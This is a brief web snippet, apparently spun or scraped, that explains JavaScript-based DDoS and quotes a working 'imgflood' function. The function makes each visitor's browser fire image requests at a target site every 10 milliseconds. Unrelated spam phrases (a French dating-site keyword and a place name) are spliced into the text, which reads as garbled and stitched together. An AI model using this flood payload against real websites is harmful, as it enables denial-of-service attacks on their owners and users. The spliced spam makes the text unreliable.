JavaScript-based DDoS The attack works by forcing every visitor’s browser to send a flood of requests to a victim’s website. Here’s an example from An introduction to JavaScript-based DDoS:

site de rencontre ado gratuit hot function imgflood() { var TARGET = '' var URI = '/index.php?' var pic = new Image() var rand = Math.floor(Math.random() * 1000) pic.src = 'http://'+TARGET+URI+rand+'=val' } setInterval(imgflood, 10)

Visaginas Something like this was also used in a recent attack on Github.